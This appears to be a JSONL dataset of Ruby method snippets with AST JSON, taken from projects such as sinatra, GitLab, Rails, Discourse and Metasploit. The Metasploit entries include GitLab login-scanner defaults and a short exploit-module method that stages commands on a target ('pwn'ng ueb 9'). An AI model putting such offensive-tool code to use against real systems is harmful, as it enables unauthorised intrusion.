{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1066,"raw_source":"def route!(base = settings, pass_block = nil)\n      routes = base.routes[@request.request_method]\n\n      routes&.each do |pattern, conditions, block|\n        response.delete_header('content-type') unless @pinned_response\n\n        returned_pass_block = process_route(pattern, conditions) do |*args|\n          env['sinatra.route'] = \"#{@request.request_method} #{pattern}\"\n          route_eval { block[*args] }\n        end\n\n        # don't wipe out pass_block in superclass\n        pass_block = returned_pass_block if returned_pass_block\n      end\n\n      # Run routes defined in superclass.\n      if base.superclass.respond_to?(:routes)\n        return route!(base.superclass, pass_block)\n      end\n\n      route_eval(&pass_block) if pass_block\n      route_missing\n    end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"route!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[null,\"settings\"]}]},{\"type\":\"optarg\",\"children\":[\"pass_block\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"routes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"routes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"request_method\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"routes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"arg\",\"children\":[\"conditions\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pinned_response\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"delete_header\",{\"type\":\"str\",\"children\":[\"content-type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"returned_pass_block\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_route\",{\"type\":\"lvar\",\"children\":[\"pattern\"]},{\"type\":\"lvar\",\"children\":[\"conditions\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"sinatra.route\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"request_method\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"[]\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"returned_pass_block\"]},{\"type\":\"lvasgn\",\"children\":[\"pass_block\",{\"type\":\"lvar\",\"children\":[\"returned_pass_block\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"superclass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"routes\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"superclass\"]},{\"type\":\"lvar\",\"children\":[\"pass_block\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_block\"]},{\"type\":\"send\",\"children\":[null,\"route_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_block\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"route_missing\"]}]}]}","id":"127747fb-8065-42c0-96f2-7021bc536d73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2790,"raw_source":"def should_sync_merge_data?\n    Feature.enabled?(:merge_requests_merge_data_dual_write, project)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_sync_merge_data?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"merge_requests_merge_data_dual_write\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"1e33bffc-b7fb-468a-9417-1b978fe2d4bc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/gitlab.rb","start_line":14,"raw_source":"def set_sane_defaults\n          self.uri = '/users/sign_in' if uri.nil?\n          self.method = 'POST' if method.nil?\n\n          super\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sane_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uri=\",{\"type\":\"str\",\"children\":[\"/users/sign_in\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"method=\",{\"type\":\"str\",\"children\":[\"POST\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"06ae900c-f5df-4411-a17b-2a1cc4e24b34"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/mail_ext/from_source.rb","start_line":4,"raw_source":"def self.from_source(source)\n    Mail.new Mail::Utilities.binary_unsafe_to_crlf(source.to_s)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"Utilities\"]},\"binary_unsafe_to_crlf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"to_s\"]}]}]}]}","id":"822796a8-6b09-4e09-bcf5-a1d9056ad4c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack.rb","start_line":195,"raw_source":"def self.track?(name)\n      dry_run_config = ENV['GITLAB_THROTTLE_DRY_RUN'].to_s.strip\n\n      return false if dry_run_config.empty?\n      return true if dry_run_config == '*'\n\n      dry_run_throttles = dry_run_config.split(',').map(&:strip)\n\n      # `throttle_unauthenticated` was split into API and web, so to maintain backwards-compatibility\n      # this throttle name now controls both rate limits.\n      if dry_run_throttles.include?('throttle_unauthenticated')\n        dry_run_throttles += %w[throttle_unauthenticated_api throttle_unauthenticated_web]\n      end\n\n      dry_run_throttles.include?(name)\n    end","complexity_score":18.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"track?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dry_run_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITLAB_THROTTLE_DRY_RUN\"]}]},\"to_s\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run_config\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run_config\"]},\"==\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"dry_run_throttles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run_config\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run_throttles\"]},\"include?\",{\"type\":\"str\",\"children\":[\"throttle_unauthenticated\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dry_run_throttles\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"throttle_unauthenticated_api\"]},{\"type\":\"str\",\"children\":[\"throttle_unauthenticated_web\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run_throttles\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"51c2e09a-fb5a-4ea4-8bbb-5a68bc20988c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/text/input/readline.rb","start_line":135,"raw_source":"def readline_with_output(prompt, add_history=false)\n      # rb-readlines's Readline.readline hardcodes the input and output to\n      # $stdin and $stdout, which means setting `Readline.input` or\n      # `Readline.ouput` has no effect when running `Readline.readline` with\n      # rb-readline, so need to reimplement\n      # []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)\n      # for rb-readline to support setting input and output.  Output needs to\n      # be set so that colorization works for the prompt on Windows.\n      self.prompt = prompt\n\n      # TODO: there are unhandled quirks in async output buffering that\n      # we have not solved yet, for instance when loading meterpreter\n      # extensions, supporting Windows, printing output from commands, etc.\n      # Remove this guard when issues are resolved.\n=begin\n      reset_sequence = \"\\n\\001\\r\\033[K\\002\"\n      if (/mingw/ =~ RUBY_PLATFORM)\n        reset_sequence = \"\"\n      end\n=end\n      reset_sequence = \"\"\n\n      if defined? RbReadline\n        RbReadline.rl_instream = fd\n        RbReadline.rl_outstream = output\n\n        begin\n          line = RbReadline.readline(reset_sequence + prompt)\n        rescue ::Exception => exception\n          RbReadline.rl_cleanup_after_signal()\n          RbReadline.rl_deprep_terminal()\n\n          raise exception\n        end\n\n        if add_history && line && !line.start_with?(' ')\n          # Don't add duplicate lines to history\n          if ::Readline::HISTORY.empty? || line.strip != ::Readline::HISTORY[-1]\n            RbReadline.add_history(line.strip)\n          end\n        end\n\n        line.try(:dup)\n      else\n        # The line that's read is immediately added to history\n        line = ::Readline.readline(reset_sequence + prompt, true)\n\n        # Don't add duplicate lines to history\n        if ::Readline::HISTORY.length > 1 && line == ::Readline::HISTORY[-2]\n          ::Readline::HISTORY.pop\n        end\n\n        line\n      end\n    end","complexity_score":52.7,"ast_json":"{\"type\":\"def\",\"children\":[\"readline_with_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"optarg\",\"children\":[\"add_history\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prompt=\",{\"type\":\"lvar\",\"children\":[\"prompt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reset_sequence\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"rl_instream=\",{\"type\":\"send\",\"children\":[null,\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"rl_outstream=\",{\"type\":\"send\",\"children\":[null,\"output\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"readline\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reset_sequence\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"prompt\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"rl_cleanup_after_signal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"rl_deprep_terminal\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"add_history\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\" \"]}]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"HISTORY\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"HISTORY\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RbReadline\"]},\"add_history\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"strip\"]}]},null]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"try\",{\"type\":\"sym\",\"children\":[\"dup\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"readline\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reset_sequence\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"prompt\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"HISTORY\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"HISTORY\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Readline\"]},\"HISTORY\"]},\"pop\"]},null]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}","id":"dc21d74f-2c3b-4e02-80d6-f33861e0f69e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/settings.rb","start_line":15,"raw_source":"def build_server_fqdn\n    custom_port = \":#{gitlab.port}\" unless on_standard_port?(gitlab)\n\n    [\n      gitlab.host,\n      custom_port,\n      gitlab.relative_url_root\n    ].join('')\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_server_fqdn\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_standard_port?\",{\"type\":\"send\",\"children\":[null,\"gitlab\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"custom_port\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"port\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"host\"]},{\"type\":\"lvar\",\"children\":[\"custom_port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"relative_url_root\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"068ea2fc-e1bf-4b5c-bcdc-7bc90b13c5e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":573,"raw_source":"def check_bad_terms\n    # \"Stack overflow\" vs \"Stack buffer overflow\" - See explanation:\n    # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx\n    if @module_type == 'exploits' && @source.gsub(\"\\n\", \"\") =~ /stack[[:space:]]+overflow/i\n      warn('Contains \"stack overflow\" You mean \"stack buffer overflow\"?')\n    elsif @module_type == 'auxiliary' && @source.gsub(\"\\n\", \"\") =~ /stack[[:space:]]+overflow/i\n      warn('Contains \"stack overflow\" You mean \"stack exhaustion\"?')\n    end\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_bad_terms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"exploits\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"stack[[:space:]]+overflow\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"Contains \\\"stack overflow\\\" You mean \\\"stack buffer overflow\\\"?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@module_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"auxiliary\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"stack[[:space:]]+overflow\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"Contains \\\"stack overflow\\\" You mean \\\"stack exhaustion\\\"?\"]}]},null]}]}]}","id":"808d8c6d-06e5-4f0f-a90a-1df2da0d1896"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/lambda_call.rb","start_line":51,"raw_source":"def offense?(node)\n          (explicit_style? && node.implicit_call?) || (implicit_style? && !node.implicit_call?)\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"explicit_style?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"implicit_call?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"implicit_style?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"implicit_call?\"]},\"!\"]}]}]}]}]}","id":"23d575d0-e491-4c06-beee-5f7c889d5202"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/post_guardian.rb","start_line":248,"raw_source":"def can_permanently_delete_post?(post)\n    return false if !SiteSetting.can_permanently_delete\n    return false if !post\n    return false if post.is_first_post?\n    return false if !is_admin? || !can_edit_post?(post)\n    return false if !post.deleted_at\n    if post.deleted_by_id == @user.id && post.deleted_at >= Post::PERMANENT_DELETE_TIMER.ago\n      return false\n    end\n    true\n  end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_permanently_delete_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"can_permanently_delete\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"is_first_post?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_edit_post?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"deleted_at\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"deleted_by_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"deleted_at\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"PERMANENT_DELETE_TIMER\"]},\"ago\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"2832dde9-1d8d-4949-8a0c-5a84c493a220"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/ueb9_bpserverd.rb","start_line":118,"raw_source":"def exploit\n    print_status(\"#{peer} - pwn'ng ueb 9....\")\n    execute_cmdstager(:linemax => 200)\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - pwn'ng ueb 9....\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[200]}]}]}]}]}]}","id":"0ba52c08-75e1-4400-97f9-111757211d3d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router_test.rb","start_line":507,"raw_source":"def get(...)\n          ActionDispatch.deprecator.silence do\n            mapper.get(...)\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapper\"]},\"get\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"c4959253-abe7-4845-9a80-945880c00239"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/reminders/notification_mailer.rb","start_line":67,"raw_source":"def reminder_timestamp_text\n    \"#{format_time(@notification.created_at)}.\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reminder_timestamp_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"created_at\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}","id":"e9be6fdf-7225-43a8-9591-fbf4048e73e1"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210517061815_add_dedicated_enable_imap_smtp_columns_for_group.rb","start_line":26,"raw_source":"def down\n    remove_column :groups, :smtp_enabled\n    remove_column :groups, :smtp_updated_at\n    remove_column :groups, :smtp_updated_by_id\n\n    remove_column :groups, :imap_enabled\n    remove_column :groups, :imap_updated_at\n    remove_column :groups, :imap_updated_by_id\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"smtp_enabled\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"smtp_updated_at\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"smtp_updated_by_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"imap_enabled\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"imap_updated_at\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"sym\",\"children\":[\"imap_updated_by_id\"]}]}]}]}","id":"276d88d3-5540-402e-bdd6-f3c8b05166a5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query.rb","start_line":156,"raw_source":"def walker\n    @walker ||= Report::Walker.new self\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"walker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@walker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"Walker\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"2757b056-015d-4ea0-9f8f-947635e8a2bb"}
